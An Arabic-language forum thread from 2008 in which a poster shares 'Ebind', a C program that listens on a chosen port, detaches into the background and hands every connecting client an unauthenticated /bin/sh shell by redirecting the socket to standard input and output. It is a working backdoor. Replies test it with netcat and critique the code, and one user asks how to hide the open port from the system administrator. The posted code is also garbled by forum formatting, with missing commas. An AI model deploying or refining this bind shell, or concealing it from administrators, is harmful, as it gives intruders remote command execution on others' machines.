إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

Ebind v0.1

تقليص
X
 
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • Ebind v0.1

    السلام عليكم ،

    الوظيفه تفتح بورت معين ومن خلاله تطبق اوامر على النظام

    الكود اهداء لستورم خاصة ولكل الشباب اللي بحبهم عامة

    كود PHP:
    /*
     * Author   : EncrYpted-ErrOr
     * LICENSE  : GPL
     * Code Name: Ebind
     * Version  : 0.1
     * Home     : er0x.wordpress.com
     *            2008
     * usage
     *[*] gcc Ebind.c -o Ebind
     *[*]./Ebind [port]
    */
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    #include<errno.h>
    #include<unistd.h>
    #include<signal.h>

    #include<sys/socket.h>
    #include<sys/types.h>
    #include<netinet/in.h>

    int main(int argc char *argv[])
    {
        
    int sock;
        
    int erox erox_l;
        
    int cle;
        
    int  c_pid  s_pid;
        
    char msg[] = "[*]Ebind v 0.1 coded By EncrYpted-ErrOr\n";
        
    /* - - - - - - - - - - - - */
       /* - - - - - - - - - - - - */
        
    struct sockaddr_in p_addr;
        
    struct sockaddr_in x_addr;
        
            if(
    argc 2)
        {
            
    printf("%s [port]\n" argv[0]);

        }
        else{
        
        
    p_addr.sin_family AF_INET;
        
    p_addr.sin_port htons(atoi(argv[1]));
        
    p_addr.sin_addr.s_addr INADDR_ANY
        
        
        
    printf(msg);
        
        
    sock socket(AF_INET SOCK_STREAM 0);
        if(
    sock == -1)
        {
            
    perror("socket");
            return -
    1;
            exit(-
    1);
        }

        
    erox bind(sock , (struct sockaddr *)&p_addr sizeof(struct sockaddr));
        if(
    erox == -1)
        {
            
    perror("bind");
            return -
    1;
            exit(-
    1);
        }
        
            if (
    fork() != 0
            exit(
    0); 
            
        
    signal(SIGHUPSIG_IGN); 

        if((
    listen(sock 10) == -1))
        {
            
    perror("listen");
            return -
    1
            exit(-
    1);
            }
            while(
    1)
            {
                
    cle sizeof(struct sockaddr_in);
                
    erox_l accept(sock , (struct sockaddr *)&x_addr , &cle);
                if(
    erox_l 0)
                {
                    
    perror("accept");
                }
                
                if(
    send(erox_l,msg,strlen(msg),0) < 0)
                {
                    
    perror("send");
                }
                
            
    c_pid getpid(); 
            
    s_pid fork(); 
    if (
    s_pid != 0)
    {
                
    dup2(erox_l,0);
                
    dup2(erox_l,1);
                
    dup2(erox_l,2);

            
    execl("/bin/sh","sh",0);
            
    close(erox_l);
               exit(
    0); 
            } 

    }
    close(sock);
    exit(
    0);
            }    

    بالتوفيق ان شاء الله ،،
    التعديل الأخير تم بواسطة EncrYpted; الساعة 26-03-2008, 03:57 PM. سبب آخر: تعديل
    EncrYpted Just a Learner
    شبكة الذكر الحكيم
    لاتنسى ذكر الله....

  • #2
    مشاء الله هذا مثال على client و server في برنامج واحد يعني برنامج يخاطب مع نفسه!
    لكني أظن أن أوامر sh لن ترسل عبر الشبكة ولا حتى loopback
    بل كل من يشبك سوف يعطى الرسالة msg


    نصائح
    1. استخدم select بدلا من حلقة while القذرة
    2. افصل الخادم عن المخدوم يعني اعمل برنامجين من أجل أن نتمكن من تجربة البرنامج على شبكة
    3. استخدم nc للتجريب الخوادم التي تكتبها (أو لعمل خوادم لتجريب ال clients أيضا)

    تعليق


    • #3
      السلام عليكم ...
      مشكور أخوي أحمد على البرنامج ... تم التجربة والتطبيق وكله ذهب ذهب ذهب مثل صاحبها ذهب
      حاجة وحدة أتمنى تحاول إنك تلاقي لها حل:
      لو قمت بعمل kill للسكربت لن يتم غلق المنفذ، وسيبقى مفتوح للرايحين والجايين
      وحاجة ثانية هل هناك طريقة إنك تخفي البورت المفتوح على الأدمن عشان جد نصير نقول له

      ألف شكر يا أحمد شغل جد روعة ...
      دمت بود
      إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

      إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
      ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
      فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
      إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
      ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
      وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

      [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

      تعليق


      • #4
        فقط للتوضيح:
        تم التجربة من خلال تشغيل السكربت على جهاز وعلى بورت دون 1024 وأيضاً تم الإتصال به من خلال جهاز آخر بإستعمال الحبيب NetCat

        ياله يا جدعان نريد شغل جامد زي هذا
        إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

        إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
        ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
        فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
        إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
        ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
        وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

        [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

        تعليق


        • #5
          استاذي مؤيد منور ،
          بالنسبة للاوامر سوف تُمرر الاوامر حاول تجربه ،
          بالنسبة ل select لم اتطرق اليها من قبل ، ان شاء الله سوف امر عليها
          اشكرك على ملاحظاتك

          binary
          شكرا يا طيب على اطرائك الجميل
          لو قمت بعمل kill للسكربت لن يتم غلق المنفذ، وسيبقى مفتوح للرايحين والجايين
          اعمل ريستارت ترجع الميه لمجاريها ، وانتظر التطوير في الكود بالنسبة للحكاية دي

          وحاجة ثانية هل هناك طريقة إنك تخفي البورت المفتوح على الأدمن عشان جد نصير نقول له
          هذه ما عندي علم بيها /
          وشكرا يا باشا على مرورك
          EncrYpted Just a Learner
          شبكة الذكر الحكيم
          لاتنسى ذكر الله....

          تعليق


          • #6
            على فكرة ابو محمد kill بتوقف عمل الكود
            تم التجربه عندي ،،
            EncrYpted Just a Learner
            شبكة الذكر الحكيم
            لاتنسى ذكر الله....

            تعليق


            • #7
              الفكرة التي يتحدث عنها أبو محمد ليس بقاء process على شكل zombie
              بل بقاء منفذ بورت هيك مفتوح سبهللى

              أظن الفكرة هي عمل handler للإشارة SIGTERM
              تعمل فيها close

              أنا كنت مخطئاً،

              نعم هذا البرنامج ينفذ الأوامر، حيث أنني لم أنتبه إلى إغلاق الثلاثي
              stdin و stdout و stderr
              واستبدالها بواصف الملف fd لل socket

              مثال رائع،
              أظن أنه يعمل fork عند كل connection جديد أليس كذلك

              تعليق


              • #8
                المشاركة الأصلية بواسطة EncrYpted مشاهدة المشاركة
                على فكرة ابو محمد kill بتوقف عمل الكود
                تم التجربه عندي ،،
                توقف الكود ولكن ﻻ تعيد غلق المنفذ PORT ... حيث يبقى المنفذ مفتوح
                إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

                إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
                ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
                فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
                إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
                ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
                وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

                [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

                تعليق


                • #9
                  شكرا مؤيد على توضيحاتك ،

                  المشاركة الأصلية بواسطة B!n@ry مشاهدة المشاركة
                  توقف الكود ولكن ﻻ تعيد غلق المنفذ PORT ... حيث يبقى المنفذ مفتوح
                  ابو محمد حلو هذا الاموشن اللي بيبكي
                  EncrYpted Just a Learner
                  شبكة الذكر الحكيم
                  لاتنسى ذكر الله....

                  تعليق


                  • #10
                    ازيك ياعم EncrYpted ..
                    وصباح النور

                    هو انتا بتغيب وتجيب الحجات الحلوه دي .. تم تخزينه فى مجلدي الخاص ..

                    كثر خيرك وكثر من الشغلات دي ..

                    bad3r
                    :argeeleh:
                    Twitter
                    : @Linux4SA

                    تعليق


                    • #11
                      المشاركة الأصلية بواسطة EncrYpted مشاهدة المشاركة
                      شكرا مؤيد على توضيحاتك ،


                      ابو محمد حلو هذا الاموشن اللي بيبكي
                      الحمد لله أخيراً فهمتني
                      إِنَّمَـا الأُمَـمُ الأَخْـلاقُ مَا بَقِيَـتْ ... فَـإِنْ هُمُ ذَهَبَـتْ أَخْـلاقُهُمْ ذَهَبُـوا

                      إذا المرء لا يرعاك إلا تكلفاً ... فدعه ولا تكثر عليه التأسفا
                      ففي الناس أبدال وفي الترك راحة ... وفي القلب صبر للحبيب ولو جفا
                      فما كل من تهواه يهواك قلبه ... ولا كل من صافيته لك قد صفا
                      إذا لم يكن صفو الوداد طبيعة ... فلا خير في خل يجيء تكلفا
                      ولا خير في خل يخون خليله ... ويلقاه من بعد المودة بالجفا
                      وينكر عيشاً قد تقادم عهده ... ويظهر سراً كان بالأمس في خفا

                      [ مواقع مفيدة: أروع موقع القرآن الكريم |مدونتي |Twitter |نظام طارق ]

                      تعليق


                      • #12
                        if (fork() != 0)
                        exit(0);

                        signal(SIGHUP, SIG_IGN);

                        listen(sock , 10);
                        if((listen(sock , 10) == -1))
                        انت عامل 2 duplication و 2 listen بطل الي بتشربه دوت
                        تسلم علي الاهداء :D

                        و select مش انصح حد انه يستخدمها حقيقي لان select استخدمها مقرف لابعد الحدود
                        مش صعبه لكن مش بحبها , ومعظم ال multi client شغاله ب fork
                        BOOOF , I AM GONE
                        Still , you gotta wait for my PRESENT :D
                        C programming arabic Tutorial|Programming-fr34ks

                        تعليق


                        • #13
                          المشاركة الأصلية بواسطة St0rM-MaN مشاهدة المشاركة
                          انت عامل 2 duplication و 2 listen بطل الي بتشربه دوت
                          تسلم علي الاهداء :D

                          و select مش انصح حد انه يستخدمها حقيقي لان select استخدمها مقرف لابعد الحدود
                          مش صعبه لكن مش بحبها , ومعظم ال multi client شغاله ب fork
                          هههههههه عندك حق حغير الصنف
                          EncrYpted Just a Learner
                          شبكة الذكر الحكيم
                          لاتنسى ذكر الله....

                          تعليق


                          • #14
                            المشاركة الأصلية بواسطة BAD3R مشاهدة المشاركة
                            ازيك ياعم EncrYpted ..
                            وصباح النور

                            هو انتا بتغيب وتجيب الحجات الحلوه دي .. تم تخزينه فى مجلدي الخاص ..

                            كثر خيرك وكثر من الشغلات دي ..

                            bad3r
                            صباح الفل بدر ،،
                            شكرا لمرورك وتشجيعك ليا
                            نورت ،
                            EncrYpted Just a Learner
                            شبكة الذكر الحكيم
                            لاتنسى ذكر الله....

                            تعليق


                            • #15
                              شكرا يا ابو حميـد علي البرنامج وفي انتظـار التطوير , ومشاراكاتك الجامده معـانا

                              تعليق

                              يعمل...
                              X
                              😀
                              🥰
                              🤢
                              😎
                              😡
                              👍
                              👎